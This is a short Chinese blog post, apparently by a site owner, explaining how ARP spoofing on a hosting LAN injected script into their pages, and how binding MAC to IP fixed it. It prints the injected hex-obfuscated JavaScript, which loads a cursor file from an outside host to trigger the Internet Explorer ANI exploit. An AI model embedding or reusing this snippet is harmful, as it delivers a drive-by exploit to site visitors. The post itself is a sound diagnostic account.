网站被黑的假象--ARP欺骗之页面中加入一段js_javascript技巧

于是只能从这段代码入手，我下载这个js开发发现是下面一段代码：
代码如下:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x66\x75\x63\x6b\x2e\x6e\x73\x32\x67\x6f\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x31\x2e\x67\x69\x66\'\x29\"\x3e");

在google上搜索发现有人已经发现同样情况.http://0e2.net/post/676.html
看了这篇文章之后了解到不是服务器被黑了,而是服务器所在的机房内网有中木马病毒的主机在搞arp欺骗.
这些木马捕抓了我的服务器发送出来的报文之后,篡改了报文的内容,在html头加入了前面那段木马病毒代码.然后再转发给访问我网站的用户主机.这段木马是针对ie的ani漏洞的,微软用户的电脑要赶紧升级打补丁.
最后问题就在于如何让我的服务器防止被ARP欺骗.打电话到机房,技术人员让我们将mac和ip地址绑定,问题终于解决.
